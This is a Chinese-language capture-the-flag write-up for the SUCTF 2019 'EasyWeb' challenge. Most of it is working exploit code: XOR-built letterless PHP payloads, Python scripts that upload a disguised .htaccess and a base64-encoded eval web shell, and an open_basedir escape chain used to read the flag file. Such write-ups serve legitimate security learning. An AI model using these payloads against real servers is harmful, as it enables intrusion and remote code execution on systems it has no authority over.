0%

[SUCTF 2019]EasyWeb

0X01 涉及知识点

  • 无数字字母shell
  • 利用.htaccess上传文件
  • 绕过open_basedir

0X02 无数字字母shell

  1. 打开链接,可以得到源码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
     <?php
    function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!!
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
    $tmp_name = $_FILES["file"]["tmp_name"];
    $name = $_FILES["file"]["name"];
    $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^");
    if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^");
    $path= $userdir."/".$name;
    @move_uploaded_file($tmp_name, $path);
    print_r($path);
    }
    }

    $hhh = @$_GET['_'];

    if (!$hhh){
    highlight_file(__FILE__);
    }

    if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
    }

    if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

    $character_type = count_chars($hhh, 3);
    if(strlen($character_type)>12) die("Almost there!");

    eval($hhh);
    ?>
  2. 很明显需要我们通过eval调用get_the_flag函数,然后上传bypass文件,最后拿到shell拿到flag。
  3. 首先是不能有字母不能有数字,我们可以用脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <?php
    $l = "";
    $r = "";
    $argv = str_split("_GET"); ##将_GET分割成一个数组,一位存一个值
    for($i=0;$i<count($argv);$i++){
    for($j=0;$j<255;$j++)
    {
    $k = chr($j)^chr(255); ##进行异或
    if($k == $argv[$i]){
    if($j<16){ ##如果小于16就代表只需一位即可表示,但是url要求是2位所以补个0
    $l .= "%ff";
    $r .= "%0" . dechex($j);
    continue;
    }
    $l .= "%ff";
    $r .= "%" . dechex($j);

    }
    }}
    echo "\{$l`$r\}"; ### 这里的反引号只是用来区分左半边和右半边而已

    ?>
  4. 最后构成这样的paylod:
    1
    2
    3
    4
    ${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=phpinfo
    ## 1^2=2^1
    ## 这里值得注意的是${_GET}{%A0}就等于$_GET[%A0],%A0是一个字符虽然没有被引号引起来但是php也不会将他看出是变量,这就是为什么&_GET[cmd]=&_GET["cmd"] 了。
    ## 还有一个特性是$a=phpinfo 如果执行$a() 就相当于执行了phpinfo()
  5. 通过上一个payload我们看到了回显,那么我们将phpinfo替换位get_the_flag即可调用此函数。

0X03 绕过检测来上传文件

  1. 我们看到get_the_flag函数,可以知道,第一次过滤了ph字符串即不可以用php伪协议。第二次过滤了文件中有<?的,又因为用是php7点多所以<script>不可。第三次判断了文件是否为图片类型。

  2. 我们先上传一个.htaccess 考虑到要让他上传后被正常解析且还要符合图片的格式,我们先到了htaccess中的#注释还有把该行用\x00开头,这样配置文件也会把该行作为无效行解析。这样我们就可以上传.htaccess文件了。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    import requests
    xbmhtaccess=b"""
    #define width 1
    #define height 1
    AddType application/x-httpd-php .qiu
    php_value auto_append_file "php://filter/convert.base64-decode/resource=zenis.qiu"
    """

    ### 或者xbmhtaccess=b"""\x00\x00\x85\x48\x85\x18
    ### AddType application/x-httpd-php .test
    ### php_value auto_append_file
    ### "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/1.test"
    ### """

    url="http://3f165c30-20ac-4c51-8d4a-742208486edc.node1.buuoj.cn/?_=$%7B%86%9E%9C%8D%5E%d9%d9%d9%d9%7D%7B%d9%7D();&%d9=get_the_flag"
    #upload
    files={
    'file':('.htaccess',xbmhtaccess,'image/png')
    }
    r=requests.post(url,files=files)
    print r.text
  3. 解释一下htaccess的配置信息的意思

    1
    2
    3
    AddType application/x-httpd-php .test   ###将1.test以php的方式解析
    php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/1.test"
    ##在1.test加载完毕后,再次包含base64解码后的1.test,成功getshell,所以这也就是为什么会出现两次1.test内容的原因,第一次是没有经过base64解密的,第二次是经过解密并且转化为php了的。
  4. 上传的1.txt也需要进行绕过,可以使用base64编码绕过,也可以是utf16这是我的代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    import requests
    import base64
    url="http://27599faf-aa11-40af-82aa-79ff4bc28fe5.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
    htaccess=b"""\x00\x00\x85\x48\x85\x18
    AddType application/x-httpd-php .test
    php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test" ##这里需要替换为自己上传的文件名

    """

    shell=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_GET[cmd])?>") #aa为了满足base64算法凑足八个字节

    #first_upload ---- to upload .htaccess

    files1={
    'file':('.htaccess',htaccess,'image/jpeg')
    }
    r1=requests.post(url=url,files=files1)
    print (r1.text)

    #second_upload ---- to upload .shell
    #
    files2={
    'file':('1.test',shell)
    }
    r1=requests.post(url,files=files2)
    print (r1.text)

0X04 绕过open_basedir得到flag

我们成功上传了木马,但是我们尝试回去根目录找flag时,发现题目做了open_basedir的限制。绕过方法大致如下(php5有其它方法):

  • 首先构造一个相对可以上跳的open_basedir 入mkdir('mayi'); chdir('mayi') 当然我们这里有上跳的路径我们直接 chdir("img")
  • 然后每次操作chdir("..")都会进一次open_basedir的比对由于相对路径的问题,每次open_basedir的补全都会上跳。
  • 比如初试open_basedir为/a/b/c/d:
  • 第一次chdir后变为/a/b/c,第二次chdir后变为/a/b,第三次chdir后变为/a 第四次chdir后变为/
  • 那么这时候再进行ini_set,调整open_basedir为/即可通过php_check_open_basedir_ex的校验,成功覆盖,导致我们可以bypass open_basedir。

详情可以参考

最后得到我们的payload

1
/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

得到flag


-------------本文结束感谢您的阅读-------------